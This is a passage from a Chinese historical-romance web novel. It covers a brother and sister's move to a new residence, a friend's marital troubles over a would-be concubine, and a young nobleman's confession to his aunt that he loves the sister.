恐怕是襄王有意,神女无心 当事人都不清楚,她也不好点破,索性闲聊起其他来了- 清河书院离布石街并不远,平日宋承云多是打马来回。只是今日席上同窗多番庆贺,喝了些酒,王夫人特意让马车送他们兄妹回来。 暮春时节,夕阳不舍,仍悬挂在苍 穹之上。凌阳河岸边绿树成荫,河面上是斑驳的翠色和粼粼的金光。 怀夕把窗帘落下后,春光刹那隔绝在窗外,马车内只余夕阳昏黄暗光。 即便有些醉意,宋承云仍昂然端坐着。 雪衣黑发,身姿挺拔,风骨自成。 半昏的光影为他清淡的眉眼镀上一层暖色,半耷的眼睑下淡淡的胭色隐隐泄露了一丝醉态。 怀夕半起身,重新落座在宋承云身旁。 坐在正中的男子似是没发现,眼眸仍然半闭着,待两边太阳穴被一双带着暖意的柔手轻轻按压着,他神情才蓦然一敛,无声地睁开了眼。 瞳眸是纯粹的黑,像揉碎的云雾深不见底,冷冷清清,日光暖色也很难在他身上落下痕迹。 他一睁眼,怀夕便关切地凑到他眼前,询问:“哥哥可是头痛?” 其实,宋承云的酒量不算好,只是他喝醉后也从未过醉态,所以很少人知道。 怀夕摸不准他是否真的喝醉,但见哥哥眉峰紧皱,知道这是他头痛时常有的姿态,所以才凑过去想替他减轻一些痛楚。 宋承云看着离自己不足一掌远的莹白小脸,轻恩了一声,又闭上眼。 太阳穴又被轻轻按了起来 力度太轻,她呼吸时的气息打在脸上,宋承云觉得脸上痒痒的,下意识想拂开那双软绵绵的手。 感受到哥哥深吸了口气,怀夕以为自己按的不舒服,就要收回手时,就听到清泠泠的声音。 “重一些。” 许是喝了酒,宋承云平日清冽的声音在此刻显得又低又沉。 怀夕加重手上的力度。 就算是坐着,宋承云也比怀夕高出一大截,怀夕侧着身,没一会,抬着的手开始感觉到酸意,端坐着的身子也慢慢倚靠到宋承云手臂上 “好了。”手臂上淡淡温热,宋承云倏地睁开眼。 靠坐在他身侧借力的怀夕也立马收回手,边揉着自己的手腕边转头来看他,神情疑惑。 哥哥没说话,但眼神比刚刚清明了几分,怀夕稍微放下心,她将自己的手腕送到他眼前,明眸弯弯。 “手酸。” 许是酒意上头,看着妹妹桃花般粉嫩的脸上俱是促狭的笑意,宋承云怔怔地没说话。 待怀夕把手落到他掌心时,被酒气酝得越发黑濯的眼眸才动了动,他抬起另一只手,隔着衣袖轻轻按着她的手腕。 其实手腕也没那么酸,怀夕只是淘气。见哥哥按的认真,她便想收回。 不过还未动作,便听到宋承云问道:“你同裴劭很相熟?” 许是喝了酒,离了酒席后,宋承云总觉得心口有股呼不出来的气,不上不下。 马车里,妹妹的轻言细语的关怀似乎令他心情好了点,可闭着眼,脑海里俱是刚刚回廊里妹妹宛如春花明媚的笑容。 ——对着裴劭。 天之骄子般的人物,看着他的妹妹,眼眸里满是欢喜与无措。 少年慕艾,理所当然。 宋承云自小出众,成年后男子艳羡、女子爱慕的眼光,他见得不少。可说实话,那些目光于他来说实在无关紧要。 他很意外,有一日,自己会偷偷在一旁辨认妹妹身旁男子动心的模样。 其实比这更早的时候,他已经很清楚地意识到,妹妹长大了。 不止裴劭,他的同窗,一些官眷家的公子哥,落在妹妹身上的目光,总是难以掩饰的惊艳与探究。 人总是因为被吸引才会好奇,才会探究。 终归妹妹什么都不懂,无论是什么的目光都不重要,他会替她挡住那些不必要的打扰。 但 她待裴劭好似不同些,他隐约能感受到她们两人之间流淌着某一种默契。 在他没看到的地方,他们似乎交集过多次,只是妹妹不讲,他也没问- 殿试之后,宋承云被授官翰林院编修,而丁心兰的丈夫杨铭被授官翰林院检讨,两人都留京任用,双方家眷也少了离别的忧愁。但是,被授官后,就不好继续租住在布石街的小宅院了。 丁心兰就不用说了,出身富庶商户,在布石街住纯粹也是为了丈夫进学便利,如今有了孩子,宅院更显拥挤,所以,很快就找到另一座心仪的宅院,等过了手续就举家搬过去。 宋承云和怀夕比丁心兰夫妇还更快搬走。 决定搬走后,宋承云便让松毫找了牙行,几日就定下宅院,又买了几个仆人,直接安排进里头收拾。 夏敏原本还想替他们张罗新住处,待她同怀夕提出哪一出的宅子颇为雅致,适合居住时,才得知他们不日就要搬到择好的住处。 新的宅院位于长安官街,处于繁华之地,因这里住的大多都是朝廷官僚,此处治安十分安定。 这座宅子的主人因被外派扬州签判,举家搬离,所以才空出这套宅子。价钱自然不在少数,不过这几年,除当初宋承云与二房分家后分得的那些银钱商铺外,族里每年都会差人将族里的生意分红送到金陵,所以兄妹二人的积蓄倒是挺可观。 当初分家后,宋承云便将大房全部身家交给怀夕,因此每年和泸州的商铺和族里的书信往来,都是由怀夕处理着。这座宅院虽费了不少钱财,不过于他们兄妹来说,不是问题。 宅院大了,仆人也要增多。除了外院奔走的小厮护卫,内院的,宋承云让牙行送了人来,让怀夕亲自挑选。 宋承云还未成亲,内院还没有女主人,一应事宜皆按兄妹以往的习惯安排。 第25章 第25章莫让男子的外貌迷惑了去 宋承云兄妹二人都不喜仆妇成群,且怀夕也习惯事事亲力亲为,连膳食都常常亲自动手,因此怀夕只从牙行送来里的人挑了两个年纪不大的丫鬟,唤他们原来的名字,琥珀和翡翠。 琥珀和翡翠年纪仅年满十四,不过看着却十分沉稳。怀夕看中他们,是因为牙行送来的人中,只有她们两个,被领进内院后,从未抬头打量周围。 怀夕便是看中她们这股沉稳气质,小艾与她都是大咧咧的性子,身旁多一些心细的人总是好的。 新宅院是一座三进院落,比从前宽阔不少。怀夕搬进三进院,宋承云则住在二进院中的东厢房。待一切都安排妥当,已经花了半月有余。 两人所住虽只是一院之隔,但因宋承云如今早出晚归,怀夕每日多在落日余晖后才能见到他。不过怀夕已经很满足了,宋承云不在的时候,她也没闲着,小日子安排得很充实,每天院子里都欢声笑语- 八月盛夏,晴空万里,天上不见一丝云彩。 院子里的老槐树被晒得滚烫,枝叶无精打采地低垂着,鸣蝉被烘烤得十分聒噪。 松毫从垂花门走了出来,吩咐外院的小厮去找网扑子把蝉网下来,来回一番走动,再回到书房旁侧歇息的耳房后,已是满头大汗。 老槐树年代久远,枝叶繁茂,盖住半边书房。 虽蝉鸣吵了些,可屋内明显比外头凉快不少, 当然,只靠枝叶避暑是不够的,书房比平日多放了几盆水栽植物,窗边榻上还放了一个冰盆,雾气在榻上女子摇扇间如雾消散开来。 怀子十分畏热,即便手上摇着扇子,嘴里刚吃完一碗冰碗,颊边还是热出微汗。 看着桌上另一碗快融化的冰粉圆子,她抬头看了看那边桌前正襟危坐的人儿。 桌前,宋承云只着一袭青衫,面容清疏。他手里握着书,长睫在脸上落下淡淡阴翳,整个人透出冰雪般的宁静。 感受到怀夕的视线,他目光从书上抽离开,瞥向怀夕,天生疏冷的眼里染上两分淡淡的疑惑。 “哥哥不热吗?”怀夕摇扇子的动作不停,疑惑问道。 “很热吗?”还好,心静自然 凉。 宋承云看着怀夕向她走过来,才发现小姑娘鬓边发丝被汗浸透,湿湿沾在颊边。 “让松毫再送一个冰盆进来吧。” 怀夕微微歪头,想了想,外头那么热,现在也做不了什么。左右还是哥哥这里凉爽些,正想应好,门外刚好响起敲门声。 “进来。”宋承云应道。 松毫进来后,只停在门框边上,低着头说道:“姑娘,是杨夫人来了。” “杨夫人?你是说圆圆姐姐?”怀夕声音里不掩雀跃,之后看向宋承云,又觉得有些奇怪,今日可是官员休沐日。 “难得杨大人今日休沐,圆圆姐姐怎么会过来?” 天气这么热,按圆圆姐平日作风,应是十分懒得出门才对。 不过也来不及多想,怀夕转身回榻边,将桌上另一碗冰碗捧到哥哥旁边,笑着说道:“哥哥不热也吃了这碗冰碗解解暑吧。”边向门外走着边说:“圆圆姐姐或许有什么事,我去看看。” 说完后,也不等屋内的人答话,拉上门就走了。 宋承云看着最后一丝浅绯色的褥裙被门隔断,淡淡收回目光,又拿着桌上的书本。 桌上碧绿碗中冰屑早已消融,翠滴滴的几颗青李子和玲珑圆子漾在上面,这样甜腻的东西,宋承云向来吃不惯。只是过了一小会,他还是放下刚拿起来的书本,修长如玉的手落到碧绿碗沿边- 丁心兰的女儿娇娇一看到怀夕,就朝怀夕扑了过来,小小的人儿有着大大的力气,差点将怀夕扑倒。 怀夕顺势将她抱起,笑着亲亲她的脸颊,才转过头和丁心兰见礼。 丁心兰看着与往日未有不同,见到怀夕还是那副温柔浅笑的模样,怀夕一手抱着娇娇,一手亲热地拉着她进了自己的屋子。 娇娇吃了一盏冰碗,在怀夕的屋子里新奇地跑了好几圈后,很快就犯起困来。 怀夕觉得好笑,刚刚还精力旺盛的小人儿一瞬仿佛没了力气,软糯糯地被丁心兰抱在怀里打瞌睡。 怀夕让小艾把娇娇抱到她床上睡觉,她和丁心兰这才闲下来说话。 说了话,怀夕多少还是发现丁心兰与往日有些许不同的。明明专程过来看她,可明显,有些心不在焉。怀遂些担忧问道:“姐姐是有些不舒服?” 丁心兰跟着丈夫离开故土和亲人,来到金陵,几年来,身边熟悉亲近的,也就怀夕一个。 怀夕一问,她便有些红了眼眶。 只是怀夕还是闺中女儿,有些话不好同她细说。 丁心兰咬着唇,强颜欢笑,“在院里呆的有些烦腻了,正好娇娇一直念叨着要来看你,就过来了。” 其实也是临时起意过来,实在不想在家中看见丈夫为难的样子。 “姐姐不肯说,可是信不过夕儿?”怀夕将丁心兰的手牵过来,笑着说道,“我娘亲从前常说我不谙世事,是个空心包子。或许帮不上姐姐的忙,但愿一听,能稍解姐姐一些忧愁。” 丁心兰被怀夕逗笑,什么空心包子。不过心里憋得久了,她也希望能有人听听自己的委屈。 于是,她也没隐瞒,“是我婆母要过来” 杨铭是独子,既然在京做官,家里双亲迟早是要接过来的。丁心兰早早就做好了准备,宅子里一应物品都收拾齐全,就等公婆过来。 可公婆还没到,杨铭的表妹倒是先到了。 杨铭的表妹已待了待嫁的年龄,算来还比怀夕大上两岁。丁心兰也是今日才得知,杨铭这表妹小时曾在杨铭家里寄养了几年,与杨铭正是传说中的青梅竹马。 当初嫁给杨铭,其实也是自己挟恩求报,她父亲曾经在危难时救了杨铭父亲,后来,杨铭读书有成,公父便与他们家缔结婚约。 她对杨铭一见钟情,并没有拒绝家中安排。 那时她不知道,杨铭有这么一个青梅竹马的表妹。而且,现在看来,那位表妹,还为了他,至今未嫁。 其实婆母余氏这几年曾在信中隐晦提过,只是她也没有多想。 没曾想,这次竟直接将人送到眼前来。 她知道,婆母是觉得自己身子不好,生下娇娇两年了,迟迟没能继续为杨家添丁,所以动了给儿子纳妾的想法。 而那表妹是婆母看着长大的,若没有前头救命之恩那件事,原本她也是打算聘给杨铭作妻的。 但后来的事,谁也没想到。 其实余氏对丁心兰也是颇为满意的,只是丁心兰嫁进杨家这么多年,只生下一个女儿。且看她的身子,也不知还能不能再为杨家添丁。 心里有了计较,又知道侄女秦龄儿这两年一直没有出嫁,于是不顾丈夫的反对,写信给远在岭南的姐姐,让秦龄儿先他们半月启程到了金陵。 如今,秦龄儿就在杨家,举目无亲,便是想送走,也无处送走。 杨铭倒是不敢瞒着丁心兰,将他与表妹的从前交待了彻底。 其实也不算什么从前,就是表兄妹一起在同一屋檐下生活了几年,更别说杨铭还长期在外求学,其实与表妹说过几次话,手指都能算得过来。 他不是不知道母亲的想法,可人都来了,怎么处理表妹也要等到父母到了才好安排,总不能真将人赶走吧? 怎么说她都是自己的表妹。 丁心兰也不是不讲理的人,秦龄儿到了之后,她处处细致周到地照顾着。若不是让她亲眼见到她哭泣着扑在自己丈夫身上,她哪里会容不下她。 于是,夫妻在本该休憩的午后开始争吵起来,后来不知道杨铭哪句话惹到丁心兰的伤心处,大热中午的,丁心兰撂下一句“她不走,我走”后,就带着女儿来到怀夕这了。 丁心兰一边说着,一边掉着眼泪。 怀夕一直帮她擦着眼泪,静静地听她说完。 丁心兰其实也不用怀夕说什么,她身边没有任何亲人,只是想有人听听她的委屈。 其实她并没有不信任丈夫,夫妻多年,她不会不知道丈夫说得是不是真话。 可是,他怎么可以不推开他表妹呢? 什么叫清者自清,丁心兰知道自己说不过丈夫,索性不想同他说了。 左右不过和离,实在不行,她便带着娇娇回苏宁,他杨家想生几个儿子就找人替他生去。 将心里话都说出来后,丁心兰舒服了不少,心中默默下了决定,心也安稳下来。 看着怀夕听完后一脸懵懂又气愤的模样,丁心兰反而觉得好笑,接过她手里的帕子自己擦干眼泪,说道:“让妹妹见笑了。” “不过,妹妹已过了及笄之年,姐姐的前车之鉴,你且当教训听着,好叫你将来找夫君的时候要看清楚些,莫让男子的外貌迷惑了去。”丁心兰恨恨说道,“男子的外貌,是最百无一用的。” 第26章 第26章只要哥哥喜欢 当初,若不是被杨铭清俊的脸庞和一身读书人的孤傲风姿吸引,她哪里会答应这门亲事,远离故土。 怀夕似懂非懂地点点头。 丁心兰东一块西一块地倾吐着,前因后果怀夕听得有些晕乎,不过大致听明白了,就是有人要来抢圆圆姐姐的相公。不过,圆圆姐姐伤心的不是有人来抢她的相公,而是她的相公没有明确表示拒绝,所以圆圆姐姐生气了,欲抛弃她的相公回娘家去了。 虽然不是很能理解丁心兰的心情,但鉴于她对丁心兰的了解和偏爱,她绝不是无理取闹的人。 所以,她得出一个结论:定然是杨大哥做错了。 想到不日就要离开金陵,恐怕以后也无法替怀夕把把眼,丁心兰打开话篓子一般,想将毕生所知道的经验告诉怀夕,“不过话又说回来,有些时候,相貌端正也不全是坏事。我听我娘亲说起我老家的姨婆,年轻时嫁了个相貌不那么周全的书生,后来那书生考上秀才后,往家里领了好几房妾室,可见辨别男子好坏,不能完全以外貌概之。” 怀夕边帮丁心兰斟茶,边表示赞同,“姐姐说得有理,那这样说来,还是找个端正些的,至少平日看着悦眼些。” “”丁心兰滞了一下,她倒不是这个意思,不过再细想,也是这个道理,于是拿起怀夕推过 来的茶杯,也点了点头。 有一搭没一搭地说着,丁心兰忽然看了看周围,见没人,朝凑近,低声问道:“你同姐姐说实话,你觉得那裴世子如何?” 裴劭? 如何? 不知道怎么突然提出裴劭,怀夕愣了一愣,在丁心兰殷切的目光中歪了歪脑袋,似在认真想着说辞,好一会才憋出一句,“他挺仗义的啊。” 丁心兰皱了皱眉,说:“不是这个。” “那是哪个?” 丁心兰叹了口气,知道不直白说怀夕定然听不懂,只好解释道:“就是作为男子,你觉得怎么样?” 联系刚刚二人讨论过的话题,怀夕好似有些明白丁心兰的意思。 是问,裴劭若做她的夫君,怎么样? 怎么样?怀夕没有想过。 不止是没想到裴劭当她的夫君,而是从来没有想过她可能会与另外一个人一起生活。 离开哥哥,与别人生活 怀夕脑海里一阵空白,只是想一想,心情都是闷闷的。 于是,她撅了撅嘴,回道:“不怎么样。” 丁心兰有些惊讶怀夕的回答,在她看来,裴世子实在是难得一遇的好人选。 裴劭外貌家世顶尖,又未曾婚配,说句不好听的,家中无公婆,对新妇更是难言的好处,一嫁过去便是掌中馈的世家妇。 所以,裴劭自然成为京里许多贵妇人钟情的女婿人选。丁心兰这几月参加一些宴会,多多少少也听闻裴世子的许多事,尤其是房内事。 总而言之,这裴世子哪里都好,最重要的是,房里干净得很。 不过转念一想,裴世子是当红的热饽饽,如今有这么多人盯着,将来就算成婚也难免会有有心人惦记着。 连她家乡,那小小的苏宁三妻四妾的人不在少数,更别说是这金陵城了。 丁心兰心里一通分析,顿时觉得裴劭也不是样样都好了。 太过完美,也不是一件好事。 不过说起当红的热饽饽,丁心兰不免想起怀夕的哥哥宋承云。 虽没有裴劭的家世,但裴劭有的其他东西,宋承云只比他更甚。 满腹经纶,才华横溢。 芝兰玉树,熠熠白雪。 只是那些贵妇人挑婿的眼光向来挑剔,说宋状元什么都有,就是清冷过了头。 风光霁月自然高洁,可若过日子的人如无法堪折的雪岭之花这些贵妇人身在闺中,都知道婚后受丈夫冷遇是多煎熬的事。 不过也有夫人下场辟谣,说宋状元对家中妹妹甚是可亲,将来对妻子定然更贴心。男子在外面不近女色可不是什么坏事,只是回家能对夫人温柔笑意 于是,各夫人又开始蠢蠢欲动,又想将宝压到这位状元郎身上。 “不说裴劭了。”丁心兰说道,“倒是你哥哥,如今可是多家女儿的如意郎君人选。” 宋承云比怀夕大上三岁,如今也十五有三了。 怀夕恩了一声,她也知道。 “哥哥这般好,喜欢她的女子多不足为奇。”怀夕撑着下颌懒懒说道,“只能说她们眼光好。” 丁心兰噗嗤笑了出来,却无法反驳。 日光姣好,眼前少女的眼珠剔透如秋池,丁心兰点了点怀夕的鼻子,意有所指道:“夕儿妹妹这般乖巧可人,喜欢你的人也真是有眼光。” “总之,你放心吧,你哥哥这般疼你,将来定会替你选一个可心的如意郎君的。” 怀夕没听出她的话中意,只是俏皮地伸手欲捂上她的嘴,两人笑着闹成一团- 待娇娇醒后,丁心兰便携着女儿家去。临走前,她嘱咐怀夕近日莫去找她,又说到时离京前就不来同她告别,待她到了苏宁,再写信给她。 怀夕见丁心兰下定决心,也没有多挽留,只殷殷嘱咐她一定要=来信。 可能是说了一下午的话,到了晚膳时分,怀夕罕见地十分沉默,吃得也比往日少许多。 宋承云以为是天气炎热的缘故,也没有多说什么。 饭后,屋外余晖依旧,兄妹二人照例在游廊里散步。 宋承云走在前面,夕阳余光肆意蓬勃,他的身影笼在金光下。 怀夕跟在后面,低着头踩着前面人的影子。一步一步,从头顶踩到心上。 踩到心上,就前进不得了。 前面的人转过身来,而怀夕没止住脚步,直直撞上刚刚踩中的位置。 宋承云双手扶住她的肩,稳住心不在焉的她。 此时难得凉风习习,怀夕却如同园子里蔫蔫的几株月季,提不起精神。 饶是再迟钝,宋承云也发现她不对劲。他稍微想了一下,见杨铭的夫人前还无异样,那就只能是与杨夫人相关了。 “怎么了?”他低头问她。 “圆圆姐姐要走了。”虽然没有挽留,但怀夕心里其实还是很舍不得她们母女的。 宋承云不知道前因后果,下意识问道:“去哪?” “回她自己家啊。”怀夕仰着头,认真地解释:“杨大人沾花惹草,圆圆姐姐说要同他和离。” “” 意外之外的回答,宋承云难得语滞。 别人的家事,他无意了解,不过说的是他熟悉的人,他又难免联想了一下。 杨铭的为人他有所了解,不太像是妹妹说的这种沾花惹草的人。但真想如何,他确实不知,因此也无从评判。 而他的沉默落在怀夕眼中,便是迟疑和偏袒,她眼眸酝着些许薄怒,“哥哥要替他狡辩不成?” 稚气未退,偏偏装出一副盛气凌人的模样。宋承云觉得好笑,但也知道此刻不该笑,只是摇了摇头。 不清楚,也不评价。 宋承云置身事外的态度让怀夕一时也抓不住错处,只好踢了踢一旁的石壁。 真是生气,若不是杨大人朝三暮四,圆圆姐姐就不会离开了。 天色渐渐暗了下来,金光揉杂了暗灰色,宋承云提步准备回去,“走吧。” 怀夕乖乖跟上他的脚步,而宋承云将她送到院门外,便转身欲回书房。 一路沉默的怀夕在踏入院门内后,不知想到什么,又提出裙摆小跑出来拉住宋承云的衣袖。 回廊下的烛火还没有点亮,天边墨影渐渐铺地。 宋承云其实在听到后头的脚步声时已经放慢了脚步。 很快,浅绯色的衣袖盖住他的,手臂上是淡淡的温热。 怀夕其实很少穿这般淡色的衣裳的。她青睐鹅黄、豆绿、雪蓝、桃粉那样五彩斑斓的衣饰,如同她精灵活泼的性格,总是能在第一时间抓住别人的眼球。 但这样素淡的颜色,穿在她身上,也充盈了满满的活力。 绯色衣裙衬得她莹白小脸愈发晶莹,如同上好的美玉,在昏暗中泛着隐隐的光泽。 她的眼眸如清晨的朝露,干净不染凡尘,在那样的目光下,仿佛什么都愿意为她捧过来。 看着缠在手腕上青葱般的纤纤玉指,宋承云一如既往耐心等着。 怀夕低着头犹豫了下,而后才仰起头看他,“哥哥,你会娶亲吗?” 宋承云的目光落在怀夕嘴角浅浅的梨涡上,手上的温热仿佛变得有些灼人。 妹妹时时都有很多想法,她问什么,宋承云都没有觉得很意外,让他意外的是,在妹妹清透的眼神下,他脱口而出的发问。 “你想让我娶亲吗?” 话音刚落,他其实已经觉得这话说得不妥,他知道妹妹大约是听了杨夫人的事情,所以临时起了心思问他。 并没有什么别的深意。 他想再说些什么,可眼前的人儿在听到他的问题后将头缓缓垂下,宋承云看见她抿着唇。他知道,这是她的习惯,她认真思考问题时常常有这样的动作。 “想。”像是强调一般,怀夕重重地点点头,“只要哥哥喜欢。” 说完后,她松开紧抓在手里的半截衣袖, 全然的真心,所以连笑意也带着真诚与笃定。 昏暗中,宋承云从她清透干净的眼眸里看到小 小的自己,他默然一瞬,再看她时,声线仍如往常清冽。 他说:“好。” 第27章 第27章八字还没一撇就开始患得…… 王太师府。 大暑天,午后天气闷热地连一丝风都没有,裴劭踏入夏敏院里头时,看到满院子晒着伏姜。 夏敏身边的马嬷嬷从屋内推开门,看见裴劭,惊喜地回头让小丫鬟进去通报。 裴劭对着马嬷嬷点头轻笑,提腿甫一进门,就听到夏敏的声音,“这日头,天天在外面风吹日晒,有甚好的?按我说,还是留在京里待职,何必要跑去西北。” 夏敏是故意说给裴劭听的,声音透着清亮,从内室清楚地传出来。 裴劭听到这话时,脚步略顿了顿,然后毫无犹豫迈进堂屋,含笑给夏敏行礼:“姨母万安。” 夏敏坐在上位,脸色淡淡的,瞪了裴劭一眼,“说好今日过来陪我用膳的,怎么半道又说不来?” 夏敏的责怪,裴劭并不以为意,落坐到右侧的椅子,笑道:“宫里来了旨意,只好爽了姨母的约。” 夏敏叹了口气,看来这事板上钉钉了。 夏敏是将门之女,性格最是果敢坚毅,她常恨自己不是男儿,不能驰骋沙场,她几个儿女,又都承了夫家的传统,走的都是文人路线,她难免不遗憾。 唯有她从小带到大,捧在手心里的侄子,她不愿意他走武将这条路,偏偏又拦不了。 姐姐在世上仅剩的血脉,她自来含在嘴里都怕融化。而战场那般凶险,叫她如何不担心? 如今侄子不听劝,上面又来了旨意,她已经没有办法阻止他了。 夏敏拉过裴劭的手,语重心长地说道:“劭儿,姨母多次阻拦你,你该明白原因的。” 裴劭垂下眼,点头。 他当然明白。 可雏鹰终究要翱翔九空的,他不可能永远活在姨母的庇佑之下。 从前的他或许不知道自己想要什么,可几个月的西北之行,他踏上父亲当年征战的地方,戈壁坚硬,黄沙漫漫,他似乎明白父亲一辈子坚守的是什么。 他相信,他的父亲即便身殒沙场,也定然无悔。 而他,要做和父亲一样顶天立地的男儿。 父亲拼死守护的那块土地,未来,他也会用尽全力去守护,让那方土地和百姓重新得到安宁与繁兴。 裴劭看着夏敏担忧的模样,回握住她的手,“姨母,劭儿已经长大了,会好好照顾自己的,姨母好好保重身子,等劭儿回来就是了” 经他这一提醒,夏敏又想起一件更重要的事:她的大女儿王郁雾出嫁的日子就在中秋前几日,而裴劭过完中秋便要启程去西北。 虽说西北近年来还算太平,可未来谁说得准,他这一去,又不知会在那里呆多久, 侄子与大女儿同岁,如今女儿出嫁在即,这个侄子的婚事却一点着落也没有。 若是说她不尽心,那可真是冤枉她。 京里哪家的女儿她叫不上号来?日日拿着画像,举办花会、马球会,就是为了给侄子挑着好的姑娘。 可每次哄着裴劭去相看,他次次推脱,倒让她在好几个夫人面前失了信。 她两个亲儿子她都不曾费过什么心思,唯有裴劭,越看重越操心。 夏敏打断裴劭的话,神情不复刚刚那般伤感,冷下脸来,“既然你执意要走,至少走之前给我把婚事定下来。” “” 距离他离京已不到两月,如何能把婚事定下来。裴劭对夏敏这个姨母真是无计可施,此刻只想扶额逃走。 可夏敏好不容易拘住他,哪里肯轻易让他走,当下就喊了马嬷嬷进来。 “嬷嬷,快去把我收着的那些画像拿来给小世子看看。” 马嬷嬷立刻领命前去。 不到一刻钟,十几幅画像就铺放在裴劭面前。 夏敏一个挨一个拉着裴劭细看,她指着她多番比较下最为满意的一个女子画像,“这是太傅家的小女儿,今年刚满十五,上次我寿辰,你应是见过她的,外貌就不用说了,她母亲是你外祖家姨婆的亲孙女” 裴劭一路无言,只是无奈地叹了口气,几次想走都被夏敏拉回。 夏敏则无视他的唉声叹气,将他拉到另一幅画像前面,继续介绍道:“这是翰林院林学士家的,姨母亲自见过,长得比这画还美上几分,你若喜欢” 裴劭终于忍不住,打断夏敏,“姨母,这些我都不喜欢。” 夏敏有些怔愣住 ——因为裴劭的拒绝。 因为这样明确拒绝一个姑娘的话,裴劭从来不说。 夏敏听完却并不恼怒,反而敏锐地察觉到几分异常。 裴劭毕竟是他带大的,他的性子她多少有几分了解。从前想替他相看,他总是可有可无的态度,不接受也不当面拒绝。 这次是他第一次明确表示他的态度。 毕竟还不能确定,夏敏半试探地问道:“那你是有另外喜欢的姑娘?” 裴劭心惊姨母如此敏锐,干干咳了一声,“那倒没有。” 没想到炸出他这样的反应,夏敏更是确信,斩钉截铁说道:“你有。” 裴劭心事一下被言中,在姨母面前又说不了谎,于是又是无奈又是羞恼,只转过头不说话。 郎君耳尖以肉眼可见的速度红了起来,夏敏却越看越是欣喜,拉着裴劭的手循循诱哄着:“是哪家的姑娘?” “你若不说,姨母就不能替你掌眼,两月后你就去了西北,姑娘若在此时嫁了旁人” 听到这话,裴劭立马抬头。 才刚及笄,没那么快订亲吧 可万一 裴劭看着夏敏,有些不可置信的迷茫和难言的慌张。 夏敏见她的话起了些效用,赶紧趁热打铁:“好姑娘是不愁嫁的,难道你真想看着你心仪的姑娘嫁给旁人?” 在夏敏恐吓般的诱导下,裴劭天人交际,最后,怕将来姨母的话真应验,裴劭没憋住,支支吾吾地吐出一个名字, “怀夕。” “谁?”夏敏有些没听清。 裴劭侧过头,豁出去了,“是怀夕,姨母的干女儿怀夕。” 怀夕? 夏敏一下子愣住了。 她挑遍了全京城的女子,唯独没想到怀夕。 当然不是瞧不上她,相反,她是十分喜欢怀夕的,不然也不会认她作干女儿。 也正是将她视作女儿,裴劭结亲的人选她才没有想到她身上 怀夕?怀夕! 夏敏很难形容当下的心情,人选是怀夕,她头脑晕乎了。 宋家兄妹的婚事,她其实都有放在心里。宋承云就不用说了,虽看着温和谦逊,可她也知道,那股对众人相同的温和何尝不是另一种冷淡,叫人望而却步。 况且,她的公父将这个学生当作眼珠子一般,恐怕他的婚事也轮不到自己操心。 而怀夕就不同了。 宋承云自己都还未娶妻,哪里能顾得上妹妹的婚事。怀夕既做了她的养女,那她的婚事她就更要慎重对待了。 裴劭在她看来当然是千般好万般对的,可让怀夕跟着他去西北,她心疼怀夕,不跟着去西北,她心疼裴劭 这样想来,一时竟没了主意。 心里不停盘算时,脸上不自觉就严肃许多,也不说话。 裴劭未料到姨母听完是这种反应。 虽作为男子,可同长辈讨论自己心仪的女子,他还是有些说不上来的羞赧。 但说都说了,裴劭咬咬牙忍着脸热想开口 夏敏在心里也大致盘算完了,说到底,她想再多,也没用,重点要人姑娘也喜欢才行。 京中其他人家的闺女,说亲时讲究的是门第家世首先要般配。 但她知道,怀夕不同。 她与她哥哥兄妹二人相依为命,情分不同旁人不知怎的,她就是很确信,若是怀夕不喜欢,无论旁人如何说,无论她的亲事对宋承云有多助力,宋承云都不会轻易将妹妹嫁出去的。 那现在问题就很清晰了。 到底是侄子单相思?还是两个小儿女暗中相互萌生了情愫? 夏敏从不是遮掩的性格,想通了便直接问道:“你喜欢怀夕,她知道吗?” 裴劭想了想,摇头。 夏敏又问:“那她喜欢你吗?” 虽然不愿意承认,不过他想,应当是不喜欢。 裴劭脸上尽是微红的窘迫,还是摇了摇头,心里跟扎了刺一般。 可转瞬又想,至少也不讨厌他吧 这样想,心头又如同塞了一团棉花,心潮涨得即将溢出一般 裴劭实在长了一副好相貌,双眉如刀裁般英挺,面如美玉,眉宇间是少年人独有的英气勃勃,怎么看都是一副让人心动不已的俊朗面容。 夏敏扫过侄子捏紧的拳头,看着那向来笃定的眼神时因她随口的问题而现出不安的神采,又觉得心疼又觉得好笑, 这才什么时候,八字还没一撇就开始患得患失 不舍侄子如此纠结,夏敏挥了挥袖,“算了,待我找机会探探人家姑娘的心意再说。” 裴劭听完,眸里不掩欣喜,“侄子多谢姨母” “先别道谢。”夏敏打断他,“若是怀夕不喜欢,姨母也没有办法” “你如今要常驻西北,天高路远又惊险,人家姑娘也不知道会不会嫌弃” 夏敏也只是牢骚着,却听到裴劭笃定地说道:“她不会的。” 裴劭就是确定,怀夕是能理解他的人。 他唯一担心的,是怀夕不喜欢且不愿喜欢他 第28章 第28章在他心上扫过一下又一下…… 知道裴劭的心思后,夏敏反倒不着急了。询问怀夕的心意前,她还需得先找她哥哥宋承云。 长兄如父,她不能绕过他,乱为人家做主。 不过她毕竟是内眷,如今宋承云有了官身,寻常日子也很难找上什么借口去见人家,只好托丈夫王楚修去探探宋承云的口风。 儿女都是债,王楚修已经习惯自家夫人说话做事说风就是雨的作风,也甘愿当传话筒。 当然,最后带回来给夏敏的结果与她料想的无异,宋承云果然也是同样的意思,只要怀夕喜欢。 毕竟是男子,说的又是女儿家的事,王楚修找上宋承云的时候颇难开口。没曾想,待他艰难说完,宋承云却是意料外的十分淡定。 仿佛早有预料一般,他脱口而出:只要她喜欢。 就像是这个答案已经在他心底深思熟虑过多遍,所以根本无需再思索。 虽然很干脆,但越是干脆,越显得有些王楚修很难描述那种感觉,只觉得自己在官场久了,以至于家事上都习惯性疑心疑鬼。 有了宋承云的首肯,夏敏办事更是大开大合起来。 第二日,她便给怀夕下了请柬,说是在清点王郁雾的嫁妆,让她也过来凑凑热闹。 王郁雾婚期将近,夏敏反而闲了下来。该准备的都已准备好,接下来一家人也只能好好珍惜大女儿还在闺中的日子。 怀夕到了王府,马嬷嬷已经亲自到府门外等着她,见到她,欢欢喜喜将她带到王郁雾的院里。 院子到屋内,放满了红木箱子。 马嬷嬷在门外通报了一声,替怀夕打开了门,请怀夕自己进去。 怀夕多次来过王郁雾屋里,倒也不拘束,进门后看外屋无人,便掀开珠帘,进到内屋里头去。 王郁雾正坐在绣墩上,手上捧着一个精致的葵瓣彩锦盒,仔细地听着夏敏的嘱咐。 见怀夕进来,夏敏朝她伸了伸手,话却未停:“总之,将来若是受了委屈,千万不要忍着,王家永远是你的后盾。” 